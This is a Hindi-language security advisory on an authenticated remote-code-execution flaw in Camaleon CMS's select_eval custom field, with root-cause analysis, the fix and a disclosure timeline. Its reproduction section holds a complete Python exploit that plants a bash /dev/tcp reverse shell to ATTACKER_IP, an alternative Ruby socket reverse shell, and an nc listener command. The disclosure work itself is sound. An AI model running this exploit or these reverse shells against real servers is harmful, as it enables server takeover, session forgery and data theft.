अपडेट पर वापस जाएँ
UpdatedAug 5, 2026

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Updated!

Security Advisory: Camaleon CMS - `select_eval` Custom Field के माध्यम से Authenticated RCE

साझा करें

सुरक्षा सलाह: Camaleon CMS - select_eval कस्टम फ़ील्ड के माध्यम से प्रमाणित RCE

निर्दिष्ट CVE ID: CVE-2026-66748

उत्पाद: Camaleon CMS (https://github.com/owen2345/camaleon-cms) प्रभावित संस्करण: 2.1.1 – 2.9.1 (परिचय कमिट 415cbda6 2015-10-16; ठीक कमिट 15882366 2026-03-29 / v2.9.2) गंभीरता: उच्च CVSS 4.0 स्कोर: 8.7 CVSS 4.0 वेक्टर: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE: CWE-94 (कोड इंजेक्शन) शोधकर्ता: Theodosis Paidakis विक्रेता को सूचित किया गया: 2026-06-21 संबंधित सलाह: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - समानांतर फ़ील्ड प्रकार, समान मूल कारण, कोई CVE निर्दिष्ट नहीं)

सारांश

select_eval कस्टम फ़ील्ड प्रकार field.options[:command] में एक मनमाना Ruby व्यंजक संग्रहीत करता है और जब भी कोई पोस्ट संपादन पृष्ठ प्रस्तुत किया जाता है, तो ERB व्यू में instance_eval के माध्यम से इसे निष्पादित करता है। v2.9.2 से पहले, custom_fields प्रबंधन अनुमति वाला कोई भी उपयोगकर्ता - जो आमतौर पर संपादक-भूमिका खातों को दी जाती है - इस फ़ील्ड प्रकार को बना सकता था और सर्वर-साइड RCE प्राप्त कर सकता था। एक select_eval फ़ील्ड फ़ील्ड समूह का उपयोग करने वाली किसी भी पोस्ट के प्रत्येक पृष्ठ रेंडर पर सक्रिय होता है; इसका आउटपुट ड्रॉपडाउन विकल्प सूची बन जाता है। यह भेद्यता v2.9.2 में पैच की गई थी।

प्रभावित घटक

फ़ाइल: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval को डेटाबेस रिकॉर्ड से कच्ची स्ट्रिंग के साथ कॉल किया जाता है। कोई सैंडबॉक्सिंग नहीं है और ERB बाइंडिंग (जो एक पूर्ण Rails व्यू संदर्भ है) से कौन-सी विधियाँ या स्थिरांक सुलभ हैं, इस पर कोई संकलन-समय प्रतिबंध नहीं है।

फ़ाइल: app/models/camaleon_cms/ability.rb (v2.9.1, पंक्तियाँ 161-165)

custom_fields कभी स्पष्ट रूप से प्रदान नहीं किया जाता। फ़ाइल में ऊपर आठ संसाधनों को व्यक्तिगत रूप से can :manage मिलता है (media, comments, themes, widgets, nav_menu, plugins, users, settings), और custom_fields उनमें से एक नहीं है। यह केवल इस कैच-ऑल के माध्यम से पहुँच योग्य है, जो भूमिका के @roles_manager हैश में मौजूद किसी भी कुंजी को manage सौंप देता है, बिना यह जाँचे कि उस कुंजी को प्रदान करना सुरक्षित है या नहीं:

@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

इसलिए जिस भी उपयोगकर्ता की भूमिका में custom_fields बिट सेट है, वह कस्टम फ़ील्ड नियंत्रक तक पहुँच जाता है। प्रभावित सीमा में यह बिट नियमित रूप से संपादक-स्तरीय भूमिकाओं को दिया जाता है।

v2.9.2 का पुनर्लेखन can को safe_can रैपर से बदल देता है और एक स्पष्ट %i[...] सूची जोड़ता है जिसमें custom_fields और select_eval दोनों शामिल हैं, लेकिन उस संस्करण में ऊपर दिया गया कैच-ऑल लूप अभी भी मौजूद है। अनुमति सूची इस समस्या को ठीक नहीं करती; custom_fields_controller.rb में strong-parameters allowlist और custom_field_group.rb में can?(:manage, :select_eval) गेट इसे ठीक करते हैं।

मूल कारण विश्लेषण

select_eval फ़ील्ड प्रकार को डेवलपर्स को CMS डेटाबेस में संग्रहीत Ruby कोड से चयन ड्रॉपडाउन को गतिशील रूप से भरने की अनुमति देने के लिए डिज़ाइन किया गया था। instance_eval के माध्यम से डेटाबेस कॉलम से मनमाना Ruby निष्पादित करना उस मान को लिख सकने वाले किसी भी व्यक्ति को शेल पहुँच प्रदान करने के बराबर है। अनुमति आवश्यकता custom_fields थी - एक नियमित सामग्री-प्रबंधन अनुमति - न कि एक स्पष्ट विशेषाधिकार प्राप्त बिट।

पूर्व सलाहों से संबंध

यह निष्कर्ष GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 के रूप में प्रकाशित किया गया था जो Camaleon CMS में एक समानांतर label_eval फ़ील्ड प्रकार को कवर करता है। वह सलाह पाँच निष्कर्षों (GHSL-2024-182 से GHSL-2024-186) के एक बैच का हिस्सा थी; पाँच में से केवल दो को CVE नंबर मिले (CVE-2024-46986 और CVE-2024-46987)। GHSL-2024-185 स्वयं को कोई CVE निर्दिष्ट नहीं है।

select_eval और label_eval एक ही मूल कारण साझा करते हैं - डेटाबेस में संग्रहीत मनमाना Ruby जो ERB व्यू में instance_eval के माध्यम से निष्पादित होता है - लेकिन अन्य सभी आयामों में भिन्न हैं:

label_eval (GHSL-2024-185)select_eval (यह रिपोर्ट)
निष्पादन स्थलकिसी भी फ़ॉर्म में फ़ील्ड लेबलपोस्ट संपादन पृष्ठ में select_tag
लेखन पथकस्टम फ़ील्ड लेबल टेक्स्टfield.options[:command] मेटा पंक्ति

यह रिपोर्ट विशेष रूप से select_eval को कवर करती है। कोई मौजूदा CVE या सार्वजनिक सलाह इस विशिष्ट फ़ील्ड प्रकार और इसके शोषण पथ का दस्तावेज़ीकरण नहीं करती।

पुनरुत्पादन के चरण

प्रभावित सीमा v2.1.1 से v2.9.1 स्रोत विश्लेषण द्वारा निर्धारित की गई थी; शोषण की पुष्टि v2.9.1 पर शुरू से अंत तक की गई थी। केवल custom_fields अनुमति वाले खाते की आवश्यकता है - कोई सर्वर पहुँच नहीं।

पूर्वापेक्षाएँ: custom_fields प्रबंधन बिट सेट वाला कोई भी खाता - प्रभावित सीमा में एक मानक संपादक-भूमिका अनुमति।

चरण 1. एक लिसनर प्रारंभ करें:

nc -lnvp 4444

चरण 2. स्क्रिप्ट चलाएँ। BASE, ATTACKER_IP, TYPE_ID, POST_ID, और क्रेडेंशियल्स संपादित करें।

TYPE_ID - पोस्ट प्रकार ID जो एडमिन साइडबार URL में दिखाई देती है (जैसे /admin/post_type/2/posts)। POST_ID - उस प्रकार के अंतर्गत कोई भी पोस्ट ID, पोस्ट सूची संपादन लिंक से।

import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
image

प्रभाव

custom_fields अनुमति वाला कोई भी खाता (v2.9.2 से पहले) प्राप्त करता है:

  • मनमाना Ruby निष्पादन Rails प्रक्रिया में, वेब सर्वर उपयोगकर्ता (deploy, www-data, rails, आदि) के विशेषाधिकारों के साथ
  • स्थायी निष्पादन: पेलोड फ़ील्ड समूह का उपयोग करने वाली प्रत्येक पोस्ट के प्रत्येक पृष्ठ रेंडर पर सक्रिय होता है - एक-बार का शोषण नहीं
  • सत्र जालसाजी: config/secrets.yml से secret_key_base पढ़ना एडमिन सहित किसी भी उपयोगकर्ता के लिए मनमाना सत्र कुकीज़ बनाने की अनुमति देता है
  • मल्टी-साइट प्रभाव: साझा Camaleon इंस्टेंस पर, Rails प्रक्रिया की सभी साइटों के डेटा तक पहुँच होती है

v2.9.2 से पहले, custom_fields अनुमति नियमित रूप से संपादक-भूमिका उपयोगकर्ताओं को दी जाती थी। किसी भी संपादक-स्तरीय खाते से समझौता करने वाला हमलावर पूर्ण सर्वर-साइड RCE प्राप्त करता है।

समयरेखा

2026-06-19 - v2.9.2 और v2.9.1 के स्रोत विश्लेषण के दौरान खोजा गया 2026-06-21 - विक्रेता को सूचित किया गया 2026-03-29 - पैच पहले ही जारी किया जा चुका था (v2.9.2, कमिट 15882366)

श्रेणियाँ